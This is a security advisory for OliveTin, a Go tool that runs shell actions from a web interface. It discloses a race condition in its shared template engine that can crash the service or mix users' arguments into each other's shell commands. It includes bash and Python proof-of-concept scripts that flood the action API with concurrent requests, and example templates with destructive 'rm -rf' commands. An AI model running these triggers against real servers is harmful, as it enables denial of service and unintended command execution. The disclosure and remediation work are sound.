GHSA-7fq5-7wr8-rjwj
OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/OliveTin/OliveTin | < 0.0.0-20260521225117-d74da9314005 | 0.0.0-20260521225117-d74da9314005 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
OliveTin's template engine uses a **single shared `text/template.Template` instance** (`tpl` package-level variable in `service/internal/tpl/templates.go`) across all goroutines. Every action execution calls `tpl.Parse(source)` followed by `t.Execute()` on this shared instance with no synchronization. When two or more actions execute concurrently (which is the normal case — each `ExecRequest` spawns a goroutine), a race condition occurs: one goroutine's `Parse` overwrites the template tree while another goroutine is calling `Execute`, causing:
1. **Cross-user command contamination**: User A's arguments rendered in User B's shell command template
2. **Go runtime panic**: Concurrent map writes in Go's `text/template` internal structures cause a fatal crash
3. **Incorrect command execution**: Template/argument mismatch produces unexpected or dangerous shell commands
## CWE
- CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)
- CWE-567 (Unsynchronized Access to Shared Data in a Multithreaded Context)
## Affected Versions
- All versions (the shared template has existed since the template system was introduced)
## Details
### The Shared Template Instance
In `service/internal/tpl/templates.go`:
```go
var tpl = template.New("tpl").
Option("missingkey=error").
Funcs(template.FuncMap{"Json": jsonFunc})
```
This is a **package-level variable** — a single `*template.Template` shared across the entire process.
### Unsafe Parse + Execute Pattern
The `parseTemplate` function is called for every template rendering:
```go
func parseTemplate(source string, data any) (string, error) {
t, err := tpl.Parse(source) // Modifies shared tpl's internal Tree
if err != nil {
return "", err
}
var sb strings.Builder
err = t.Execute(&sb, data) // Reads from tpl's internal Tree
// ...
}
```
**Critical**: `tpl.Parse(source)` returns the same pointer as `tpl` (Go's `template.Parse` modifies the receiver and returns it). So `t` and `tpl` are the **same object**. When two goroutines call `parseTemplate` concurrently:
```
Goroutine A (Action "echo {{ .Arguments.name }}"):
1. tpl.Parse("echo {{ .Arguments.name }}") → sets tpl.Tree = TreeA
2. t.Execute(&sb, {Arguments: {"name": "safe"}}) → walks TreeA
Goroutine B (Action "rm -rf {{ .Arguments.path }}"):
1. tpl.Parse("rm -rf {{ .Arguments.path }}") → sets tpl.Tree = TreeB
2. t.Execute(&sb, {Arguments: {"path": "/tmp"}}) → walks TreeB
```
If the goroutines interleave:
```
A.Parse(TreeA) → B.Parse(TreeB) → A.Execute(dataA) → executes TreeB with dataA!
```
Goroutine A would execute `rm -rf {{ .Arguments.path }}` with `dataA` — which either errors (missing key) or, if `dataA` happens to have a `path` argument, executes with an unintended value.
### No Synchronization Exists
A search for any synchronization primitives in the `tpl` package confirms **zero mutex, lock, or atomic operations**:
```
$ grep -r "sync\.\|Mutex\|Lock\|mutex" service/internal/tpl/
(no results)
```
### Concurrent Goroutine Confirmation
In `service/internal/executor/executor.go`, `ExecRequest` launches each action in a new goroutine:
```go
func (e *Executor) ExecRequest(req *ExecutionRequest) (*sync.WaitGroup, string) {
// ...
go func() {
e.execChain(req) // Calls stepParseArgs → ParseTemplateWithActionContext → parseTemplate
defer wg.Done()
}()
return wg, req.TrackingID
}
```
The execution chain includes `stepParseArgs`, which calls `ParseTemplateWithActionContext`, which calls `parseTemplate`. Multiple concurrent action executions will race on the shared `tpl` variable.
### Go Runtime Crash Vector
Go's `text/template.Parse` internally modifies the template's `common` struct, which contains a `tmpl map[string]*Template`. In Go, concurrent map writes cause an **unrecoverable fatal error**:
```
fatal error: concurrent map writes
goroutine X [running]:
runtime.throw(...)
```
This is not a panic that can be recovered — it terminates the entire process. Two concurrent `Parse` calls can trigger this, crashing OliveTin.
### Template Contamination Vector
Even without a crash, the race can produce dangerous results:
1. **User A** triggers action: `shell: "echo Hello {{ .Arguments.name }}"` with `name=Alice`
2. **User B** triggers action: `shell: "sudo systemctl restart {{ .Arguments.service }}"` with `service=nginx`
3. Race occurs: User A's `Execute` runs on User B's parsed template
4. If User A's arguments contain a `service` key, that value is substituted into `sudo systemctl restart {{ .Arguments.service }}`
5. If User A's arguments do NOT contain `service`, `missingkey=error` causes an error — but only AFTER the template was already partially evaluated
### Call Chain
```
API Request → ExecRequest (goroutine) → execChain → stepParseArgs
→ ParseTemplateWithActionContext → parseTemplate → tpl.Parse(source) + t.Execute(data)
↑ RACE CONDITION ↑
(shared tpl variable)
```
## PoC
### Prerequisites
- OliveTin instance with at least 2 configured actions
- Ability to trigger concurrent action executions
### Config
```yaml
listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "DEBUG"
checkForUpdates: false
actions:
- title: Safe Echo
id: safe-echo
shell: "echo 'Hello {{ .Arguments.name }}'"
arguments:
- name: name
type: ascii
- title: File Delete
id: file-delete
shell: "rm -f /tmp/{{ .Arguments.target }}"
arguments:
- name: target
type: ascii_identifier
```
### Step 1: Trigger concurrent executions
```bash
#!/bin/bash
# Fire 50 concurrent requests to maximize race window
for i in $(seq 1 50); do
curl -s -X POST http://127.0.0.1:1337/api/StartAction \
-H 'Content-Type: application/json' \
-d '{"bindingId":"safe-echo","arguments":[{"name":"name","value":"Alice"}]}' &
curl -s -X POST http://127.0.0.1:1337/api/StartAction \
-H 'Content-Type: application/json' \
-d '{"bindingId":"file-delete","arguments":[{"name":"target","value":"test"}]}' &
done
wait
echo "All requests sent"
```
### Step 2: Check for crash
```bash
# If OliveTin crashed due to concurrent map writes:
curl -s http://127.0.0.1:1337/readyz
# Expected: Connection refused (process crashed)
```
### Step 3: Check logs for contamination
```bash
# Look for mismatched template executions in the OliveTin logs
grep -E "missingkey|Error executing template|concurrent" /var/log/olivetin.log
```
### Python PoC — Race Trigger
```python
#!/usr/bin/env python3
"""PoC: Template Race Condition — Cross-Request Contamination
Triggers concurrent action executions to race on the shared
text/template instance in service/internal/tpl/templates.go.
Expected outcomes:
1. Go fatal error: concurrent map writes (process crash)
2. Template error: map has no entry for key (cross-contamination detected)
3. Silent contamination: arguments rendered in wrong template
"""
import requests
import threading
import time
TARGET = "http://127.0.0.1:1337"
THREADS = 20
ITERATIONS = 100
crash_detected = threading.Event()
errors_detected = []
def fire_action_a():
"""Trigger 'safe-echo' action repeatedly."""
for _ in range(ITERATIONS):
if crash_detected.is_set():
break
try:
resp = requests.post(
f"{TARGET}/api/StartAction",
json={
"bindingId": "safe-echo",
"arguments": [{"name": "name", "value": "Alice"}]
},
headers={"Content-Type": "application/json"},
timeout=5
)
if resp.status_code != 200:
errors_detected.append(f"Action A error: {resp.status_code} {resp.text}")
except requests.exceptions.ConnectionError:
crash_detected.set()
errors_detected.append("CONNECTION REFUSED — Server likely crashed!")
break
except Exception as e:
errors_detected.append(f"Action A exception: {e}")
def fire_action_b():
"""Trigger 'file-delete' action repeatedly."""
for _ in range(ITERATIONS):
if crash_detected.is_set():
break
try:
resp = requests.post(
f"{TARGET}/api/StartAction",
json={
"bindingId": "file-delete",
"arguments": [{"name": "target", "value": "test"}]
},
headers={"Content-Type": "application/json"},
timeout=5
)
if resp.status_code != 200:
errors_detected.append(f"Action B error: {resp.status_code} {resp.text}")
except requests.exceptions.ConnectionError:
crash_detected.set()
errors_detected.append("CONNECTION REFUSED — Server likely crashed!")
break
except Exception as e:
errors_detected.append(f"Action B exception: {e}")
if __name__ == "__main__":
print(f"[*] Launching {THREADS * 2} threads, {ITERATIONS} iterations each")
print(f"[*] Target: {TARGET}")
threads = []
for _ in range(THREADS):
threads.append(threading.Thread(target=fire_action_a))
threads.append(threading.Thread(target=fire_action_b))
start = time.time()
for t in threads:
t.start()
for t in threads:
t.join()
elapsed = time.time() - start
print(f"\n[*] Completed in {elapsed:.1f}s")
print(f"[*] Total requests: {THREADS * 2 * ITERATIONS}")
if crash_detected.is_set():
print("[!] SERVER CRASH DETECTED — concurrent map write panic")
if errors_detected:
print(f"[!] {len(errors_detected)} errors detected:")
for err in errors_detected[:10]:
print(f" - {err}")
else:
print("[*] No errors detected (race window may not have been hit)")
print("[*] Try increasing THREADS/ITERATIONS or checking server logs")
```
### Go Race Detector Verification
If you can run OliveTin with Go's race detector enabled:
```bash
cd service
go run -race . &
# Then trigger concurrent requests — the race detector will confirm the data race
```
Expected output:
```
WARNING: DATA RACE
Write by goroutine X:
text/template.(*Template).Parse()
service/internal/tpl/templates.go:XX
Previous read by goroutine Y:
text/template.(*Template).Execute()
service/internal/tpl/templates.go:XX
```
## Impact
- **Process Crash (DoS)**: Concurrent map writes in Go cause an unrecoverable `fatal error`, crashing the entire OliveTin service
- **Cross-User Command Contamination**: User A's arguments may be rendered in User B's shell command template, potentially executing commands with wrong/dangerous arguments
- **Privilege Escalation via Contamination**: If a low-privilege user's arguments contaminate a high-privilege action's template, the result could be unintended command execution
- **Data Leakage**: Arguments (which may contain secrets like passwords) could be rendered in another user's action output
## Remediation
1. **Create a new template per parse call** instead of reusing the package-level singleton:
```go
func parseTemplate(source string, data any) (string, error) {
t, err := template.New("").
Option("missingkey=error").
Funcs(template.FuncMap{"Json": jsonFunc}).
Parse(source)
if err != nil {
return "", err
}
var sb strings.Builder
err = t.Execute(&sb, data)
// ...
}
```
2. **Alternative**: Use `template.Must(tpl.Clone())` to create a thread-safe copy per call:
```go
func parseTemplate(source string, data any) (string, error) {
clone, _ := tpl.Clone()
t, err := clone.Parse(source)
// ...
}
```
3. **Alternative**: Add a mutex around `parseTemplate` (but this serializes all template rendering and hurts performance):
```go
var tplMutex sync.Mutex
func parseTemplate(source string, data any) (string, error) {
tplMutex.Lock()
defer tplMutex.Unlock()
// ...
}
```
Option 1 (new template per call) is the recommended fix — it's simple, safe, and has negligible performance impact.
## Resources
- Go `text/template` documentation: "A Template's Parse method must not be called concurrently"
- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization
- `service/internal/tpl/templates.go` — shared `tpl` variable and `parseTemplate` function
- `service/internal/executor/executor.go` — `ExecRequest` goroutine launch (line ~524)
References
External links from the advisory. They lead to third-party sites.
- https://github.com/OliveTin/OliveTin/security/advisories/GHSA-7fq5-7wr8-rjwj
- https://nvd.nist.gov/vuln/detail/CVE-2026-48708
- https://github.com/OliveTin/OliveTin/commit/d74da9314005954dd49fa20dabf272247bc76519
- https://github.com/OliveTin/OliveTin
- https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0